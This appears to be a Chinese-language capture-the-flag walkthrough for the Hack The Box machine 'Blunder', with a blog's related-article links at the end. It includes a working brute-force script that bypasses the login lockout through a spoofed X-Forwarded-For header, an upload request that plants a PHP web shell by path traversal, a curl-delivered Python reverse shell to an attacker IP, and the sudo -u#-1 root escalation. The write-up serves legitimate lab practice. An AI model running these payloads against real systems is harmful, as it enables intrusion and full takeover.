[Meachines] [Easy] Blunder Bludit-CMS-Upload+SUDO-Bypass权限提升

信息收集

IP Address Opening Ports
10.10.10.191 TCP:80

$ nmap -p- 10.10.10.191 --min-rate 1000 -sC -sV

bash 复制代码
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-title: Blunder | A blunder of interesting facts
|_http-server-header: Apache/2.4.41 (Ubuntu)

www-data 权限

$ gobuster dir -u "http://10.10.10.191/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50

http://10.10.10.191/todo.txt

username:fergus

$ cewl 10.10.10.191 > pass.txt

python 复制代码
#!/usr/bin/env python3
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = []


with open('pass.txt', 'r') as words:
    for line in words:
        line = line.rstrip()
        wordlist.append(line)


for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)

    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p=password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers=headers, data=data, allow_redirects=False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u=username, p=password))
            print()
            break

$ python3 exp.py

Password:RolandDeschain

https://github.com/bludit/bludit/issues/1081

bash 复制代码
POST /admin/ajax/upload-images HTTP/1.1
Host: 10.10.10.191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------423763520129402281753554177338
Content-Length: 173373
Origin: http://10.10.10.191
Connection: close
Referer: http://10.10.10.191/admin/new-content
Cookie: BLUDIT-KEY=7vn276oblmdb0l4kt4n3sltkl5


-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="images[]"; filename="TEAM.php"
Content-Type: image/png


<?=phpinfo();system($_GET[0]);?>
-----------------------------423763520129402281753554177338

Content-Disposition: form-data; name="uuid"


../../tmp
-----------------------------423763520129402281753554177338
Content-Disposition: form-data; name="tokenCSRF"


96062fa2efef00e52320951d57034af3a4f480f4
-----------------------------423763520129402281753554177338--

$ curl "http://10.10.10.191/bl-content/tmp/TEAM.php?0=python%20-c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.16.6%22%2C10032))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fsh%22)'"

User 权限

$ cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

username:hugo
hash:faca404fd5c0a31cf1897b823c695c85cffeb98d

https://md5decrypt.net/en/Sha1/

!

password:Password120

User.txt

$ cat /home/hugo/user.txt

cb37fd3c2e81e209769763b3fd001348

权限提升

$ sudo --version

$ sudo -u#-1 /bin/bash

Root.txt

# cat /root/root.txt

d10d349c006d7beb3e00cf067fba123d

相关推荐
2601_949499947 小时前
工业 POF 器件国产化新思路:芯瑞科技DT‑2532Z 解决安华高 HFBR‑2532Z 供应链卡点
运维·网络·人工智能·科技·光模块
Doris__HE8 小时前
【元脑服务器NF8260G7-NF8260M7技术规格分享】
运维·服务器·网络·数据库·性能优化
白猫不黑8 小时前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
济南凡维8 小时前
Zebra Designer3试用文档
服务器·网络·zebra·打印机·斑马打印机
captain3769 小时前
网络原理(7)-NAT(Network Address Translation)
java·网络·网络协议·java-ee
爱研究的小梁9 小时前
异构链路科普:5G/4G、卫星、专网、WiFi、光纤,如何聚合工作?
网络·网络协议·udp·信息与通信
网硕互联的小客服9 小时前
如何用Claude Code重构遗留系统?
网络
程序猿乐锅10 小时前
【黑马点评 | 第二篇】Redis 缓存更新策略与商铺缓存实现
java·网络·redis·spring·mybatis
科技小登10 小时前
业务层四道闸:DDoS+CC、API、Bot 与全球加速的分层防护设计与选型
网络·安全
wuyk55510 小时前
《WiFi 嵌入式物联网开发全套实战》| 第 12 章 Linux 系统 WiFi 常用命令全集:iw/iwlist/ip/wpa_cli 实战
linux·网络·stm32·物联网·tcp/ip